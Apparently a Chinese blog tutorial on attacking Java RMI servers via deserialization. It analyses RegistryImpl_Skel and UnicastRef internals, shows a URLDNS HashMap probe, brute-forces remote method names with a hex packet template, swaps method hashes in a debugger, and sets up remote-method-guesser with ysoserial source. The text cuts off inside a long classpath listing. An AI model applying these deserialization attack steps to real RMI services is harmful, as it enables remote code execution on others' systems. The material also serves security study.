前言:
首先我们要了解什么是RMI和JRMP,实现的原理是什么,具体的功能又是什么都要有了解,才能进行后续的学习:
RMI全称为Remote Method Invocation,远程方法调用,通俗点解释,就是跨越jvm,调用一个远程方法,比如说我们购买了另外一个公司所提供功能实现方法,但是我们只是有使用权,他们并不会将代码给我们,这个时候可与使用RMI方法,当我们要使用该方法的时候只需要远程调用即可,我们只需要将参数和方法告诉对方,对方就可以将结果返回给我们,这样既保证了代码的安全性也方便权限的控制。
JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议,是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用。
RMI是远程调用的方法,而JRMP是具体传输所采用的协议。
RMI源码分析(关键点):
网上有很多关于RMI源代码的分析文章,大家可以去搜索,这里只将几个比较重要的地方,虽然客户端和服务端可以互打,但是攻击客户端的一般在蜜罐等场景,涉及不多,所以本文分析侧重于客户端对服务端的攻击。
服务端可能产生反序列化漏洞有两个地方,分别为RegistryImpl_Skel的dispath方法和UnicastRef的unmarshalValue方法:
RegistryImpl_Skel.dispatch
功能:执行(查询/绑定/解绑)对象字符串
其中var2为我们传递进来的原始序列化数据,根据var3不同类型进入不同的case中执行,其中case分为0,1,2,3,4五种类型分别对应bind,list,lookup,rebind,unbind五种功能,其中比较重要的是bind和lookup的方法,这里着重将这两个:
bind方法:
在和远程RMI服务器绑定时,会调用RegistryImpl_Stub的bind方法,具体的调用方式是通过Util中stubClassExists方法将RegistryImpl_Stub反射进行加载,然后对数据进行writeObject序列化操作
在RMI服务端执行bind时,我们可以攻击RMI Registry注册中心,导致其反序列化RCE:![](https://img-blog.csdnimg.cn/9538ccd3f2074494b431fef174705357.png)
lookup方法:
在lookup中var3.writeObject(var1);将参数var1对象进行了序列化发送至RMI Registry,然后对RMI Registry的返回数据进行了反序列化var22 = (Remote)var4.readObject();
这里会执行从RMI Registry返回的序列化数据,也就是说当服务器返回的序列化数据是恶意数据,这里就可以攻击客户端执行恶意序列化数据。
当RMI Registry接收到客户端发送的序列化数据,会在2的case中执行
UnicastRef.unmarshalValue
功能:服务端读取客户端远程方法的参数值
marshalValue和unmarshalValue相对,一个用来序列化数据,一个用于反序列化数据,客户端在获取到代理对象后执行函数时调用。
通过marshalValue()方法序列化写入输出流,然后调用call.executeCall()将参数发送给服务端,然后判断返回值,如果是void就直接返回null,本次调用结束,否则调用unmarshalValue()获取返回值最后释放连接返回结果,这里当返回数据为恶意序列化数据时,客户端就会执行,被服务端攻击。
在服务端接收到客户端远程传入的方法时首先会判断类型是否相同,如果不相同则不回反序列化操作,当服务接口相同即可执行。
以上两处为我们利用RMI进而RCE的关键点,一处为bind的时候,另外一处是处理远程方法的时候,这两处执行了反序列化操作,只要我们能按照指定的格式和接口类型传递恶意的序列化数据即可RCE,服务端或者客户端都可以。
测试代码:
为了验证我们的理论我们这里首先编写一个简单的RMI测试代码进行分析
服务端代码:
创建接口类HelloService:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
String sayHello(String message ) throws RemoteException;
}
创建接口类实现代码:
package org.example;
import java.rmi.RemoteException;
public class HelloServiceImpl implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello(String message ) throws RemoteException {
System.out.println(message);
return message;
}
}
主函数创建Registry注册服务,并把HelloService接口的实现HelloServiceImpl暴露和注册到Registry注册服务:
package org.example;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Main {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
HelloServiceImpl obj = new HelloServiceImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
HelloService services = (HelloService) UnicastRemoteObject.exportObject(obj, 0);
Registry registry = LocateRegistry.createRegistry(8899);
registry.bind("hello", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
客户端代码:
创建HelloService接口:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
String sayHello(String message ) throws RemoteException;
}
主函数绑定远程接口,并实现远程方法:
package org.example;
import java.lang.reflect.Field;
import java.net.URL;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
try {
Registry registry = LocateRegistry.getRegistry("192.168.139.1",8899);
HelloService helloService = (HelloService) registry.lookup("hello");
helloService.sayHello("hello world");
} catch (NotBoundException e) {
e.printStackTrace();
}
}
}
执行后可以看到返回结果,证明可以远程调用。
反序列化恶意数据:
正常执行没有问题,但是如何实现反序列化恶意数据那,这里我使用URLDNS作为测试功能,通过将URLDNS序列化后发送到服务器并反序列化。
客户端:
客户端主程序修改为如下代码:
public class Main {
public static void main(String[] args) throws Exception{
HashMap hashmap = new HashMap();
URL url = new URL("http://www.test123.com");
Field test = Class.forName("java.net.URL").getDeclaredField("hashCode");
test.setAccessible(true);
test.set(url,123);
hashmap.put(url,123);
test.set(url,-1);
try {
Registry registry = LocateRegistry.getRegistry("192.168.139.1",8899);
HelloService helloService = (HelloService) registry.lookup("hello");
helloService.sayHello(hashmap);
} catch (NotBoundException e) {
e.printStackTrace();
}
}
}
HelloService接口修改为:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;
public interface HelloService extends Remote {
String sayHello(HashMap hashmap ) throws RemoteException;
}
服务端:
HelloService接口修改:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;
public interface HelloService extends Remote {
String sayHello(HashMap hashmap ) throws RemoteException;
}
HelloService接口实现修改为:
package org.example;
import java.rmi.RemoteException;
import java.util.HashMap;
public class HelloServiceImpl implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello(HashMap hashmap) throws RemoteException {
return hashmap.toString();
}
}
将服务端和客户端的远程调用参数类型设置为相同:执行后可以看到成功解析指定url
分析:
首先我们使用wireshark抓取流量来对交互有一个直观的感受:
先看端口发现我们抓取的第二个数据流并不是我们绑定的8899端口,而是4677端口,这个时候查看进程开的端口号可以发现存在两个端口监听:
这里就要注意,我们在启动RMI服务的时候,有两个端口在监听,第一个就是我们代码中创建的8899端口,即RMI Registry端口,另一个是随即开放的端口,这里是4677端口,是远程对象的通信端口,在第一步客户端和服务器绑定的过程中服务器回返回进行远程通信接口
之后看传递的数据,可以看到很多是以ac ed 00 05 77开头的数据,对序列化数据有了解的就可以发现这些都是序列化数据,如果将这些数据进行替换后,如果能够被反序列化,理论上就可以拿到RCE
数据包分析:
端口:
server:6739 1a 53 <-------- client:6796 1a 8c (远程对象的通信端口)
server:8899 22 c3 <------- client:6795 1a 8b (RMI Registry端口)
对数据包分析可以看到首先client向服务端发送JRMI,告知服务器采用的是JRMI协议进行对后续数据进行解析操作,后面看到存在两处序列化数据,分别为客户端向服务器发送和服务器向客户端回复数据
使用SerializationDumper分析下客户端向服务器发送的数据
TC_BLOCKDATA代表的意思可以查看java.io.ObjectStreamConstants 定义的内容:
final static short STREAM_MAGIC = (short)0xaced;
final static short STREAM_VERSION = 5;
final static byte TC_NULL = (byte)0x70;
final static byte TC_REFERENCE = (byte)0x71;
final static byte TC_CLASSDESC = (byte)0x72;
final static byte TC_OBJECT = (byte)0x73;
final static byte TC_STRING = (byte)0x74;
final static byte TC_ARRAY = (byte)0x75;
final static byte TC_CLASS = (byte)0x76;
final static byte TC_BLOCKDATA = (byte)0x77;
final static byte TC_ENDBLOCKDATA = (byte)0x78;
final static byte TC_RESET = (byte)0x79;
final static byte TC_BLOCKDATALONG = (byte)0x7A;
final static byte TC_EXCEPTION = (byte)0x7B;
final static byte TC_LONGSTRING = (byte) 0x7C;
final static byte TC_PROXYCLASSDESC = (byte) 0x7D;
final static byte TC_ENUM = (byte) 0x7E;
final static int baseWireHandle = 0x7E0000;
这段序列化数据描述的是一个字符串,其值是refObj。功能是获取远程的refObj对象。我们这里就是获取hello。
对应到代码,80十六进制为0x50,即为数据开头的50,进入case 80处:
读取ObjID,具体的含义参考ObjID_Java API中文文档 - itmyhome(http://itmyhome.com)
这里主要判断数据是Registry 还是 Server,其中01为调用远程通信,02为RMI Registry:
根据skel的不同,会进入两个不同的逻辑:
当skel为01,进入GCImpl_Skel的dispath,在比对完hash无误后会执行反序列化操作:
当skel为02:进入RegistryImpl_Skel的dispath,同样比对完hash无误后会执行反序列化操作:![](https://img-blog.csdnimg.cn/a5cb8ab8076440a3b50a0e7c6c69eb36.png)
数据中存放的hash:![](https://img-blog.csdnimg.cn/039c34f5fc134a3c954023fd7b18baba.png)
为了更直观的感受序列化数据是如何生成的,可以看RegistryImpl_Stub的lookup方法,在客户端执行lookup时会调用,这里可以看到调用了newCall方法,参数为
对应的参数如下,第一个参数包含服务端的ip端口和objID,第二个参数为方法,第三个参数为告诉服务器自己来自Registry,第三个参数为interfaceHash。
进入UnicastRef可以看到newcall方法,在newConnection函数中从freeList中找一个可使用connection,如果没有最后调用createConnection方法创建一个。创建后发送一个握手包,里面包含了版本信息之类的,然后服务端返回一个确认包,最后回到newCall方法中,将上面创建的conn封装到StreamRemoteCall对象中返回。
到这在RMI Registry的过程就结束了,后续就要和远程对象接口进行通信,在Registry过程中仅在lookup中存在序列化数据,但是在反序列化过程中会去读取interfaceHash和objID等信息,我们可以通过修改数据包中的skel来进入不同的逻辑进入不同的流程,这里不能直接通过替换为我们自己的恶意序列化数据来RCE,必须要完成服务端的校验才会执行反序列化,实现上有一定的困难。下面我们对远程对象接口通信进行分析:
首先看看在和远程对象接口通信时是如何生成数据,代码位于DGCImpl_Stub的dirty方法,参数包括ObjID,hash等数据,然后调用newCall方法:
和之前的lookup方法类似,返回一个封装到StreamRemoteCall对象的connection数据:![](https://img-blog.csdnimg.cn/3181def85cb444c3866815370fd432c4.png)
解析过程在上面有提到,就是进入DGCImpl_Skel的dispatch方法中,根据传入的case值执行,可自行调试。然后就可以远程执行我们的方法,下面对这一过程进行分析:
首先对发送的数据报进行分析,发现存在 TC_BLOCKDATA和TC_OBJECT,我们的恶意数据位于TC_OBJECT中,但是TC_BLOCKDATA中为什么数据,我们这里分析下:
调用流程invokeRemoteMethod->invokeRemoteMethod方法,这里要注意第四个参数是getMethodHash(method),这里会把接口方法类型进行hash处理,发送给服务端,服务端会进行比对是否相同:
在UnicastRef的invoke方法中首先进入StreamRemoteCall返回一个远程方法调用流,其中参数1为建立的socket,参数2为ObjID,参数3为-1,表面自己的来源,参数4为方法hash
然后进入marshalValue方法,执行序列化操作:
以上是客户端是如何生成序列化数据,下面看看如何解析:
在服务端接收到数据前期的到dispatch方法前处理都是一样的,因为参数为-1及FF,不会进入oldDispatch方法,之后首先会对客户端传入的参数比对和服务端的注册接口方法hash是否相同,如果相同会进入unmarshalParameters方法,参数1为远程接口类,参数2为接口类型,参数3为序列化数据:
进入unmarshalParametersUnchecked方法,这里提取了接口的方法类型和接收到的序列化数据传入unmarshalValue中:
这里最终执行了反序列化操作,但是执行前先判断了class是否为原始数据:
至此整个流程就差不多通了,下面就要开始尝试攻击了,这里只做客户端对服务器发起的攻击,实际中基本用不到,不过原理都差不多,可以自行研究:
攻击:
前面已经分析的很清楚了,要想攻击服务器,在Registry过程中会向服务器发送序列化数据,可能存在攻击点,然后在远程接口通信的时候向服务器发送了两次序列化数据,
我们主要为了让服务器代码执行到readObject,但是这里面我们不能直接把一个恶意的原生序列化数据发送给服务器,因为服务器需要在序列化数据的TC_BLOCKDATA中读取ObjID和hash还有执行方法等数据,所以要想正确的执行到readObject则必须让服务器能正确的读取到这些数据,在Registry和远程接口调用中向服务器发送的第一次序列化数据中,hash是硬编码的,不能进行修改,但是在远程接口调用中的方法hash是动态生成放在TC_BLOCKDATA中供服务器校验,这样我们可以伪造为服务器存在的方法,但是真实反序列化的是其他数据类型。
在针对数据的修改中,修改执行远程接口方法的方法最为简单,而Registry序列化数据修改,我没有成功,采用字节码拼接等方式均无法成功,实现攻击较为复杂,放在后续进行研究。
这里先总结下攻击的流程:要想攻击成功我们就需要知道服务器的远程绑定方法,这里只能采用爆破的方式对绑定方法进行爆破,然后修改方法名进而攻击成功。
实践:
爆破远程方法:
首先我们尝试对接口的远程方法进行爆破,这里先做个原理描述,正常请求的时候,可以看到返回的数据是304大小。可以根据数据大小进行判断是否成功:
数据:
4a524d4900024b 固定
000d3139322e3136382e3133392e3100000000 本机的IP地址
50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf74000568656c6c6f
其中7722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf 固定不能修改
05 05为字符串长度
68656c6c6f 为方法
错误情况下:
可以自己编写脚本进行爆破,或者使用开源的工具remote-method-guesser进行爆破,具体使用后面说。
远程方法参数反序列化测试:
针对服务器的序列化攻击在四个地方可以进行:
RMI registry
DGC
Activator
用户自定义的RemoteObjects
这里介绍的是用户自定义的远程方法,当远程的方法为Object那可以直接执行我们的恶意序列化数据,但是当为非Object的情况下要如何攻击,比如如下:
public String sayHello(String hashmap) throws RemoteException {
return hashmap.toString();
}
当接口为String类型,如果我们依然采用String sayHello(HashMap hashmap)就会报错,因为服务端会对方法hash进行验证,判断方法是否相同
在RemoteObjectInvocationHandler中invokeRemoteMethod函数的invoke调用下断点,执行:
将java.util.HashMap修改为java.lang.String即可,然后F9运行
但是当为原始类型(boolean、char、byte、short、int、long、float、double)时,无法执行反序列化操作。
使用remote-method-guesser-master一站式攻击:
下面我们介绍如果使用remote-method-guesser-master进行一站式攻击,就算对RMI整个逻辑不熟也可以完整高质量的攻击,我这里使用的是源代码进行修改攻击,当然可以直接使用jar包进行攻击,下面我都会进行一下演示,首先大概讲解下remote-method-guesser-master功能:
介绍:
remote-method-guesser-master地址: https://github.com/qtc-de/remote-method-guesserhttps://github.com/qtc-de/remote-method-guesserhttps://github.com/qtc-de/remote-method-guesser
官方给出的使用说明: ![](https://img-blog.csdnimg.cn/44f854ec9cb346c9bd2a046d8e751b95.png)
其中我们较常用的为enum,guess,serial,codebase四个,rmg也可以使用call当作一个客户端向服务器发送数据,使用scan扫描服务器端口,其他的功能可以自己研究。
实践:
新建个项目将ysoserial源码和remote-method-guesser-master源码放在新建项目的java目录下,将remote-method-guesser-master中的配置文件放入resources目录下,重构pom.xml,将必要的库下载到本地,为什么这样做,因为在真实的攻击环境中因为java版本,waf等问题下,我们不能直接使用ysoserial生成的gadget,需要自己进行一些修改,所以为了更高的可定制化,最好使用源码,便于修改:
enum:
首先进行enum对服务器进行检测:
![](https://img-blog.csdnimg.cn/d89d434ec45b4a4b96d4d52bd29140c8.png)
扫描结果如下:
"D:\Program Files\Java\jdk1.8.0_191\bin\java.exe" "-javaagent:D:\Program Files\IntelliJ IDEA 2022.3.2\lib\idea_rt.jar=12945:D:\Program Files\IntelliJ IDEA 2022.3.2\bin" -Dfile.encoding=UTF-8 -classpath "D:\Program Files\Java\jdk1.8.0_191\jre\lib\charsets.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\deploy.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\access-bridge-64.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\cldrdata.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\dnsns.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\jaccess.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\jfxrt.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\localedata.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\nashorn.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\sunec.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\sunjce_provider.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\sunmscapi.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\sunpkcs11.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\ext\zipfs.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\javaws.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\jce.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\jfr.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\jfxswt.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\jsse.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\management-agent.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\plugin.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\resources.jar;D:\Program Files\Java\jdk1.8.0_191\jre\lib\rt.jar;D:\code\Java_RMI\Java_RMI_Client\target\classes;C:\Users\li.li\.m2\repository\net\sourceforge\argparse4j\argparse4j\0.9.0\argparse4j-0.9.0.jar;C:\Users\li.li\.m2\repository\org\yaml\snakeyaml\1.33\snakeyaml-1.33.jar;C:\Users\li.li\.m2\repository\org\jvnet\hudson\main\hudson-remoting\2.1.0\hudson-remoting-2.1.0.jar;C:\Users\li.li\.m2\repository\javax\el\javax.el-api\3.0.0\javax.el-api-3.0.0.jar;C:\Users\li.li\.m2\repository\org\reflections\reflections\0.9.9\reflections-0.9.9.jar;C:\Users\li.li\.m2\repository\com\google\guava\guava\15.0\guava-15.0.jar;C:\Users\li.li\.m2\repository\com\google\code\findbugs\annotations\2.0.1\annotations-2.0.1.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-api\2.2.6\shrinkwrap-resolver-api-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-spi\2.2.6\shrinkwrap-resolver-spi-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-api-maven\2.2.6\shrinkwrap-resolver-api-maven-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-spi-maven\2.2.6\shrinkwrap-resolver-spi-maven-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-api-maven-archive\2.2.6\shrinkwrap-resolver-api-maven-archive-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\shrinkwrap-api\1.2.6\shrinkwrap-api-1.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-impl-maven\2.2.6\shrinkwrap-resolver-impl-maven-2.2.6.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-api\1.0.0.v20140518\aether-api-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-impl\1.0.0.v20140518\aether-impl-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-spi\1.0.0.v20140518\aether-spi-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-util\1.0.0.v20140518\aether-util-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-connector-basic\1.0.0.v20140518\aether-connector-basic-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\eclipse\aether\aether-transport-wagon\1.0.0.v20140518\aether-transport-wagon-1.0.0.v20140518.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-aether-provider\3.2.5\maven-aether-provider-3.2.5.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-model\3.2.5\maven-model-3.2.5.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-model-builder\3.2.5\maven-model-builder-3.2.5.jar;C:\Users\li.li\.m2\repository\org\codehaus\plexus\plexus-component-annotations\1.5.5\plexus-component-annotations-1.5.5.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-repository-metadata\3.2.5\maven-repository-metadata-3.2.5.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-settings\3.2.5\maven-settings-3.2.5.jar;C:\Users\li.li\.m2\repository\org\apache\maven\maven-settings-builder\3.2.5\maven-settings-builder-3.2.5.jar;C:\Users\li.li\.m2\repository\org\codehaus\plexus\plexus-interpolation\1.21\plexus-interpolation-1.21.jar;C:\Users\li.li\.m2\repository\org\codehaus\plexus\plexus-utils\3.0.20\plexus-utils-3.0.20.jar;C:\Users\li.li\.m2\repository\org\sonatype\plexus\plexus-sec-dispatcher\1.3\plexus-sec-dispatcher-1.3.jar;C:\Users\li.li\.m2\repository\org\sonatype\plexus\plexus-cipher\1.4\plexus-cipher-1.4.jar;C:\Users\li.li\.m2\repository\org\apache\maven\wagon\wagon-provider-api\2.6\wagon-provider-api-2.6.jar;C:\Users\li.li\.m2\repository\org\apache\maven\wagon\wagon-file\2.6\wagon-file-2.6.jar;C:\Users\li.li\.m2\repository\org\apache\maven\wagon\wagon-http-lightweight\2.6\wagon-http-lightweight-2.6.jar;C:\Users\li.li\.m2\repository\org\apache\maven\wagon\wagon-http-shared\2.6\wagon-http-shared-2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-impl-maven-archive\2.2.6\shrinkwrap-resolver-impl-maven-archive-2.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\shrinkwrap-impl-base\1.2.6\shrinkwrap-impl-base-1.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\shrinkwrap-spi\1.2.6\shrinkwrap-spi-1.2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\shrinkwrap\resolver\shrinkwrap-resolver-spi-maven-archive\2.2.6\shrinkwrap-resolver-spi-maven-archive-2.2.6.jar;C:\Users\li.li\.m2\repository\org\eclipse\sisu\org.eclipse.sisu.plexus\0.3.0.M1\org.eclipse.sisu.plexus-0.3.0.M1.jar;C:\Users\li.li\.m2\repository\org\eclipse\sisu\org.eclipse.sisu.inject\0.3.0.M1\org.eclipse.sisu.inject-0.3.0.M1.jar;C:\Users\li.li\.m2\repository\org\codehaus\plexus\plexus-compiler-javac\2.3\plexus-compiler-javac-2.3.jar;C:\Users\li.li\.m2\repository\org\codehaus\plexus\plexus-compiler-api\2.3\plexus-compiler-api-2.3.jar;C:\Users\li.li\.m2\repository\org\javassist\javassist\3.19.0-GA\javassist-3.19.0-GA.jar;C:\Users\li.li\.m2\repository\com\nqzero\permit-reflect\0.3\permit-reflect-0.3.jar;C:\Users\li.li\.m2\repository\commons-codec\commons-codec\1.9\commons-codec-1.9.jar;C:\Users\li.li\.m2\repository\commons-io\commons-io\2.6\commons-io-2.6.jar;C:\Users\li.li\.m2\repository\org\jboss\logging\jboss-logging\3.3.0.Final\jboss-logging-3.3.0.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\remoting\jboss-remoting\4.0.19.Final\jboss-remoting-4.0.19.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\xnio\xnio-api\3.3.4.Final\xnio-api-3.3.4.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\jboss-common-core\2.5.0.Final\jboss-common-core-2.5.0.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\xnio\xnio-nio\3.3.4.Final\xnio-nio-3.3.4.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\sasl\jboss-sasl\1.0.5.Final\jboss-sasl-1.0.5.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\remotingjmx\remoting-jmx\2.0.1.Final\remoting-jmx-2.0.1.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\logging\jboss-logging-processor\1.2.0.Final\jboss-logging-processor-1.2.0.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\jdeparser\jdeparser\1.0.0.Final\jdeparser-1.0.0.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\marshalling\jboss-marshalling\1.4.10.Final\jboss-marshalling-1.4.10.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\marshalling\jboss-marshalling-river\1.4.10.Final\jboss-marshalling-river-1.4.10.Final.jar;C:\Users\li.li\.m2\repository\commons-collections\commons-collections\3.1\commons-collections-3.1.jar;C:\Users\li.li\.m2\repository\org\beanshell\bsh\2.0b5\bsh-2.0b5.jar;C:\Users\li.li\.m2\repository\commons-beanutils\commons-beanutils\1.9.2\commons-beanutils-1.9.2.jar;C:\Users\li.li\.m2\repository\commons-logging\commons-logging\1.1.1\commons-logging-1.1.1.jar;C:\Users\li.li\.m2\repository\org\apache\commons\commons-collections4\4.0\commons-collections4-4.0.jar;C:\Users\li.li\.m2\repository\org\codehaus\groovy\groovy\2.3.9\groovy-2.3.9.jar;C:\Users\li.li\.m2\repository\org\springframework\spring-core\4.1.4.RELEASE\spring-core-4.1.4.RELEASE.jar;C:\Users\li.li\.m2\repository\org\springframework\spring-beans\4.1.4.RELEASE\spring-beans-4.1.4.RELEASE.jar;C:\Users\li.li\.m2\repository\org\hibernate\hibernate-core\4.3.11.Final\hibernate-core-4.3.11.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\logging\jboss-logging-annotations\1.2.0.Beta1\jboss-logging-annotations-1.2.0.Beta1.jar;C:\Users\li.li\.m2\repository\org\jboss\spec\javax\transaction\jboss-transaction-api_1.2_spec\1.0.0.Final\jboss-transaction-api_1.2_spec-1.0.0.Final.jar;C:\Users\li.li\.m2\repository\dom4j\dom4j\1.6.1\dom4j-1.6.1.jar;C:\Users\li.li\.m2\repository\xml-apis\xml-apis\1.0.b2\xml-apis-1.0.b2.jar;C:\Users\li.li\.m2\repository\org\hibernate\common\hibernate-commons-annotations\4.0.5.Final\hibernate-commons-annotations-4.0.5.Final.jar;C:\Users\li.li\.m2\repository\org\hibernate\javax\persistence\hibernate-jpa-2.1-api\1.0.0.Final\hibernate-jpa-2.1-api-1.0.0.Final.jar;C:\Users\li.li\.m2\repository\antlr\antlr\2.7.7\antlr-2.7.7.jar;C:\Users\li.li\.m2\repository\org\jboss\jandex\1.1.0.Final\jandex-1.1.0.Final.jar;C:\Users\li.li\.m2\repository\org\springframework\spring-aop\4.1.4.RELEASE\spring-aop-4.1.4.RELEASE.jar;C:\Users\li.li\.m2\repository\aopalliance\aopalliance\1.0\aopalliance-1.0.jar;C:\Users\li.li\.m2\repository\net\sf\json-lib\json-lib\2.4\json-lib-2.4-jdk15.jar;C:\Users\li.li\.m2\repository\commons-lang\commons-lang\2.5\commons-lang-2.5.jar;C:\Users\li.li\.m2\repository\net\sf\ezmorph\ezmorph\1.0.6\ezmorph-1.0.6.jar;C:\Users\li.li\.m2\repository\commons-fileupload\commons-fileupload\1.3\commons-fileupload-1.3.jar;C:\Users\li.li\.m2\repository\org\apache\wicket\wicket-util\6.23.0\wicket-util-6.23.0.jar;C:\Users\li.li\.m2\repository\com\mchange\c3p0\0.9.5.2\c3p0-0.9.5.2.jar;C:\Users\li.li\.m2\repository\com\mchange\mchange-commons-java\0.2.11\mchange-commons-java-0.2.11.jar;C:\Users\li.li\.m2\repository\javax\servlet\javax.servlet-api\3.1.0\javax.servlet-api-3.1.0.jar;C:\Users\li.li\.m2\repository\org\apache\myfaces\core\myfaces-impl\2.2.9\myfaces-impl-2.2.9.jar;C:\Users\li.li\.m2\repository\org\apache\myfaces\core\myfaces-api\2.2.9\myfaces-api-2.2.9.jar;C:\Users\li.li\.m2\repository\org\apache\geronimo\specs\geronimo-atinject_1.0_spec\1.0\geronimo-atinject_1.0_spec-1.0.jar;C:\Users\li.li\.m2\repository\commons-digester\commons-digester\1.8\commons-digester-1.8.jar;C:\Users\li.li\.m2\repository\xalan\xalan\2.7.2\xalan-2.7.2.jar;C:\Users\li.li\.m2\repository\xalan\serializer\2.7.2\serializer-2.7.2.jar;C:\Users\li.li\.m2\repository\rome\rome\1.0\rome-1.0.jar;C:\Users\li.li\.m2\repository\jdom\jdom\1.0\jdom-1.0.jar;C:\Users\li.li\.m2\repository\org\python\jython-standalone\2.5.2\jython-standalone-2.5.2.jar;C:\Users\li.li\.m2\repository\rhino\js\1.7R2\js-1.7R2.jar;C:\Users\li.li\.m2\repository\javassist\javassist\3.12.0.GA\javassist-3.12.0.GA.jar;C:\Users\li.li\.m2\repository\org\jboss\weld\weld-core\1.1.33.Final\weld-core-1.1.33.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\weld\weld-api\1.1.Final\weld-api-1.1.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\weld\weld-spi\1.1.Final\weld-spi-1.1.Final.jar;C:\Users\li.li\.m2\repository\javax\annotation\jsr250-api\1.0\jsr250-api-1.0.jar;C:\Users\li.li\.m2\repository\org\jboss\spec\javax\interceptor\jboss-interceptors-api_1.1_spec\1.0.0.Beta1\jboss-interceptors-api_1.1_spec-1.0.0.Beta1.jar;C:\Users\li.li\.m2\repository\org\slf4j\slf4j-ext\1.7.2\slf4j-ext-1.7.2.jar;C:\Users\li.li\.m2\repository\ch\qos\cal10n\cal10n-api\0.7.7\cal10n-api-0.7.7.jar;C:\Users\li.li\.m2\repository\org\jboss\interceptor\jboss-interceptor-core\2.0.0.Final\jboss-interceptor-core-2.0.0.Final.jar;C:\Users\li.li\.m2\repository\org\jboss\interceptor\jboss-interceptor-spi\2.0.0.Final\jboss-interceptor-spi-2.0.0.Final.jar;C:\Users\li.li\.m2\repository\javax\enterprise\cdi-api\1.0-SP1\cdi-api-1.0-SP1.jar;C:\Users\li.li\.m2\repository\org\jboss\interceptor\jboss-interceptor-api\1.1\jboss-interceptor-api-1.1.jar;C:\Users\li.li\.m2\repository\javax\inject\javax.inject\1\javax.inject-1.jar;C:\Users\li.li\.m2\repository\javax\interceptor\javax.interceptor-api\3.1\javax.interceptor